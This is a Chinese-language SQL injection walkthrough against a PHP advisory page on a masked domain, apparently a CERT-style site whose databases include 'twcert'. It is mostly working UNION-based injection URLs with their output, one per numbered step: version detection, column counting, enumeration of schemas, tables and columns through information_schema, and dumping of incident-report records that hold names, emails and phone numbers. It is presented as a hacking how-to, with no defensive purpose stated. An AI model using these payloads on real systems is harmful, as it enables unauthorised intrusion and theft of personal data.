1.判断版本http://www.xxxx.com/document/advisory/detail.php?id=7
and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询

2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解
http://www.xxxx.com/document/advisory/detail.php?id=7
and 2=4 union select 1,2,3,4,5,6,7,8,9--

3.查看数据库版本及当前用户，http://www.xxxx.com/document/advisory/detail.php?id=7
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--

数据库版本5.1.35，据说mysql4.1以上版本支持concat函数，我也不知道是真是假，有待牛人去考证。

4.判断有没有写权限
http://www.xxxx.com/document/advisory/detail.php?id=7
and (select count(*) from MySQL.user)>0-- 返回错误，没有写权限

没办法，手动猜表啦

5.查库，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from
information_schema.SCHEMATA limit
0,1
但是这个点有点不争气，用不了这个命令，就学习了下土耳其黑客的手法，不多说，如下
http://www.xxxx.com/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
成功查出所有数据库，国外的黑客就是不一般。数据库如下：
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb

6.爆表，爆的是twcert库
http://www.xxxx.com/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
爆出如下表
downloadfile,irsys,newsdata,secrpt,secrpt_big5

7.爆列名，这次爆的是irsys表
http://www.xxxx.com/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
爆出如下列
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status

8.查询字段数，到这一步，国内很少有黑客去查询字段数的，直接用limit N,1去查询，直接N到报错为止。
http://www.xxxx.com/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--

返回是3，说明每个列里有3个地段

9.爆字段内容
http://www.xxxx.com/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
爆出name列的第一个字段的内容

http://www.xxxx.com/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
爆出name列的第二个字段的内容